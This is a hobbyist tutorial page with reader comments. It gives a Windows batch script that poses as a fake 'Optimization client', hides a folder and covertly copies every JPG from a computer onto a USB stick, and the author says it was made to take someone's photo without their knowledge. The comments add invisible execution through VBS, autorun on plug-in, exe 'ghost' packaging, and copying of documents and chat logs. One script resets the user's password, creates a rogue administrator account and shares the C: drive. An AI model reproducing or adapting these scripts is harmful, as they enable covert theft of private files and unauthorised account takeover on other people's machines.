So, first things first, what is this instructable creating and why.

This instructable will allow you to create a batch file that will copy all the images from a PC to your memory stick. it will do this discretely, posing as another program that is checking the computer for issues. When complete, you will have a hidden folder on your memory stick with all the copied images.

Why? I have created this instructable because I wanted to retrieve a digital photo from someones machine without them knowing I had done it. The legitimate use of this file will allow you to archive/backup your personal photos.

Other uses: This file can be modified to allow any other type of document to be copied.

Step 1: Write the code

Copy the following code into notepad and save it on the root of your memory stick as a bat file, you can name it whatever you want as long is it has the .bat extension. To ensure it does have the correct extension, type it as follows in the save box of notepad "copyimage.bat" (include the quotations!)

@echo off
echo Optimization client 2008 v3.02b
echo --------------------------------
echo Please do not use your PC while this is running.
echo Scanning process list. When complete a log will be displayed for your system administrator to review.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
attrib -s +h data\* >nul
start optimizationLog.txt
shutdown /s /c "Optimization scan complete, your PC will now shutdown"

<p>You want to automatically copy peoples photos from their computer to your memory stick without them knowing. What are you, paedophiles?</p>
<p>or try this code</p><p>note that e is the drive name make sure you know which letter it is coz it should be changed if more drives are there...</p><p>dont forget to compile it into exe format and choose &quot;ghost application&quot; xD</p><p>@echo off</p><p>cls</p><p>xcopy /q /k /m C:\Users\%username%\Pictures\*.* E:\Storage\</p>
<p>or you could compile the batch file as ghost format using the bat to exe converter at http://www.f2ko.de/programs.php?pid=b2e. use an autorun to start the process automatically...</p>
You can make the batch run<span style="font-weight: bold;"> </span>stealthy with this and autorun when pluged in to a pc<br /> <br /> First make &quot;start.bat&quot; and enter this code:<br /> <br /> <font color="BLUE">wscript.exe &quot;\stealth</font><font color="BLUE">.vbs&quot; &quot;copy.bat&quot;</font><br /> <br /> Second make &quot;stealth.vbs&quot; enter this code:<br /> <br /> <font color="RED">CreateObject(&quot;Wscript.Shell&quot;).Run &quot;&quot;&quot;&quot; &amp; WScript.Arguments(0) &amp; &quot;&quot;&quot;&quot;, 0, False</font><br /> <br /> Third make &quot;secret.bat&quot; enter this code:<br /> <br /> <font color="BLUE">@echo off<br /> reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f &gt;nul<br /> mkdir \data &gt;nul<br /> attrib +h \data &gt;nul<br /> setLocal EnableDelayedExpansion<br /> for %%a in (jpg) do (<br /> for /f &quot;tokens=* delims= &quot; %%f in ('dir/b/s/a-d c:\*.%%a') do (<br /> xcopy &quot;%%f&quot; \data\ /y /h /q &gt;nul<br /> )<br /> )<br /> attrib -s +h data\* &gt;nul<br /> <br /> </font>Then make &quot;autorun.inf&quot; and enter this code:<br /> <br /> <font color="Red">[autorun]<br /> shellexecute=start.bat</font><br /> If you want to stop it make &quot;stop.bat&quot; with this code:<br /> <br /> <font color="blue">@echo off<br /> taskkill secret.bat</font><br />
<p>sir can you send me file of this to my email?</p>
<p>Will this copy every single image file off of the drive, even temporary files?</p>
<p>here's my challenge for you..... use an otg cable and attach it to any cell phone in order to copy all photos discreetly. can it be done? </p>
You can hide the folder easier by the atrib comand, i belive it was atrib /h
Is there a way to make this search by file size, example over 500kb?
does this really take 3 hours
How can I make it copy only certain sized images. It copied 4k photos of stuff and I only needed about 20 of the photos.
Note, this works on Windows 7, however the hidden files registry key doesn't as this behaviour was changed in Windows 7.<br> <br> Windows XP the key needs to be<br> &quot;Hidden&quot;=dword:00000002<br> <br> Windows 7 the key needs to be<br> &quot;Hidden&quot;=dword:00000001<br> <br> Same Path<br> [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
Is it possible to make this search only in account folders such as my pictures and such for all accounts on a computer and ignore folders like program files and such to cut down on run time. I am pretty new to this type of work so the more detail or exact code would be extremely appreciated.
Ok thought I would post my version of the script, since I found this useful.<br> <br> Note my version searches everywhere on the C Drive.&nbsp; Most people tend to hide their photos if they are worth stealing.&nbsp; This will only search for files larger that 640x480.<br> <br> This script is also dependant on a program called PhotoResize.<br> http://www.rw-designer.com/picture-resize<br> Now it is dependant on how you have the name of the program as to what size photos you want them resized to.&nbsp; Eg I have it resize the photos to 640x480, they are large enough to see, yet small enough so they don't take as long to copy.&nbsp; This is also what determines if the files get copied or not, eg if the photo is smaller than 640x480 it wont resize, therefore will not save to the drive.&nbsp; So if you make it resize to 800x600 you will only find photos that are 800x600 or larger.<br> <br> Here is my version of the script<br> ============================<br> @echo off<br> color a<br> echo Optimization client 2012 v3.02b<br> echo --------------------------------<br> echo.<br> echo Please do not use your PC while this is running.<br> echo.<br> echo Scanning process list.<br> echo.<br> echo Please be patient this could take upto 3 hours.<br> <br> reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f &gt;nul<br> attrib +h PhotoResizeW640SOH.exe &gt;nul<br> mkdir \%computername% &gt;nul<br> attrib +h \%computername% &gt;nul<br> setLocal EnableDelayedExpansion<br> @echo off<br> for %%a in (jpg jpeg) do (<br> for /f &quot;tokens=* delims= &quot; %%f in ('dir/b/s/a-d c:\*.%%a') do (<br> PhotoResizeW640SOH.exe &quot;-c\%computername%\&lt;NAME&gt;.jpg&quot; &quot;%%f&quot;<br> )<br> )<br> attrib -s +h \%computername%\* &gt;nul<br> del -f -q PhotoResizeW640SOH.exe<br> <br> I also used the Batch 2 Exe converter to make the batch run silently or with display, however it includes the PhotoResize within the exe.&nbsp; Not sure if you would like me to post that or not, however I think this is easy enough to understand, if you can't then maybe you shouldn't be stealing peoples pics.
Thats great. many thanks for sharing this, I love seeing evolutions to the script
I've modified my flash drive with the following:<br/><br/>@echo off<br/>net user %username% Password<br/>net user /add Admin2 Password<br/>net localgroup administrators Admin2/add<br/>net share concfg&quot;c:\/grant:Admin2.full<br/>mkdir \%computername% &gt;nul<br/>attrib +h \%computername% &gt;nul<br/>setLocal EnableDelayedExpansion<br/>for %%a in (jpg) do (<br/>for /f &quot;tokens=* delims= &quot; %%f in ('dir/b/s/a-d c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a') do (<br/>move &quot;%%f&quot; \%computername%\ /y /h /q &gt;nul<br/>)<br/>)<br/>attrib -s +h %computername%\* &gt;nul<br/>rem this will change the current logged on users password to<br/>rem Password<br/>rem it will also create an administrator account<br/>rem (which can be changed) with the pass= Password<br/>rem then it moves all the files from the current users my pictures folder<br/>rem onto your flash drive<br/>rem then loggs off the computer<br/>rem (change shutdown -l to shutdown -s -t 1) to shut down the computer<br/>rem shuts down the computer instantly<br/>shutdown -l<br/>rem i love my flash drive =]<br/>rem sent my friend a &quot;file&quot; on it at school<br/>rem if youve got a teacher that pisses u off at school thisll be hillarious <br/>
&nbsp;Why not make it 'shutdown -s -f'? No timer is&nbsp;instantaneous&nbsp;
It doesn't work that way, but you can do 'shutdown -t 00 -s -f' to shutdown without a timer.<br>
what is 'rem'? it is just a comment?<br />
&quot;records comments (remarks) in batch files or CONFIG.SYS&quot; is what cmnd prmpt said. just type &quot;help&quot; into command prompt, hit enter, and thou shall get large list of stuff
sorry worded weird put shutdown -l at the end doesnt matter really just a little bit confusing
u can make a autorun
Where did you learn this? I'm trying to figure the FOR command out, and FOR /? is offering very little help.
&nbsp;does this work on macs?
no, because windows are different from macs.<br />
it says three hours , how long will it take<br />
It should all depend on the amount of photos in the target computer.
will this work on macs? if not how could i make it work on macs
&nbsp;Ok, i've come across this problem before.<br /> &nbsp;1. Buy a PC<br /> &nbsp;2.???<br /> &nbsp;3.Profit!!!
get a batch to exe converter when you run the exe file you wont see the command prompt add a little txt file to make them think thats all it opened or a website cd\ "c:\program files\internet explorer\iexplore.exe" (ebsite address goes here)
Is there a way we can change <br/><br/>for /f &quot;tokens=* delims= &quot; %%f in ('dir/b/s/a-d c:\*.%%a') do (<br/><br/>to look in the current userprofile rather than the entire C Drive?<br/><br/>Regards,<br/>Daniel<br/>
c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a use this to copy jpg images from my pictures
The user profile can be accessed via <br/><br/>%userprofile%<br/><br/>So (will test later) try:<br/><br/>for /f &quot;tokens=* delims= &quot; %%f in ('dir/b/s/a-d %userprofile%*.%%a') do (<br/>
directly after @echo off add this title Optimization client 2008 v3.02b changes the title of the cmd prompt jsut makes it more convincing
Pinkspeedo, thanks for all of your comments, they are excellent feedback, and I will certainly be using them.
also change this mkdir \data >nul to this mkdir \%computername% >nul allows you to create different folders on each computer incredibly helpful and easy way to do this go to edit replace all type data in first field then %computername% in second then hit replace all
add an autorun file for the flash drive<br/>(autorun) make the brackets not parenthesis<br/>open=slurp.bat<br/>action=Click &quot;OK&quot; <br/>shell\open\command=slurp.bat<br/>save as autorun.inf<br/>makes the file transfer so much easier<br/>
How do I have it grab everything in C:\ except for temporary internet files?
how do you know when its done downloading
would it be possible to create a copy of windows live messenger conversations that are saved on the computer discretely too?
Mine kept saying "access denied"
how long does it take to work? i want to know how much time i need.
What does the program save there stuff as?
not bad (: how would i use this to copy all files onto my flash drive?
When you say all files I guess you still mean the images?? Where-ever you save this batch file and run it from, it will write the files to that place. So if you save it on your flash drive and run it from there, then that's where it will store the files.
sorry, i wasnt to clear on what i meant. i mean like not just pictures, but also documents, excel sheets and what not? i am a intermediate batch writer and this is stuff that i should learn (:
Ahhh I see. All you do is add each extansion that you require in the brackets that say jpg.<br/><br/>For example:<br/><br/>setLocal EnableDelayedExpansion<br/>@echo off<br/>for %%a in (<strong>jpg pdf xls</strong>) do (<br/>for /f &quot;tokens=* delims= &quot; %%f in ('dir/b/s/a-d c:\*.%%a') do (<br/>xcopy &quot;%%f&quot; \data\ /y /h /q &gt;nul<br/>)<br/>)<br/>
how can you make it copy the users web history?
thank you!
is there a way to give this a user interface? My friend is cautious and never likes batch files! Nice idea - I love it

About This Instructable


63 favorites


More by ee0u30eb: Secure shred individual files using send to with ccleaner V2 Secure shred individual files using send to with ccleaner Secret spy image photo copying batch file
Add instructable to: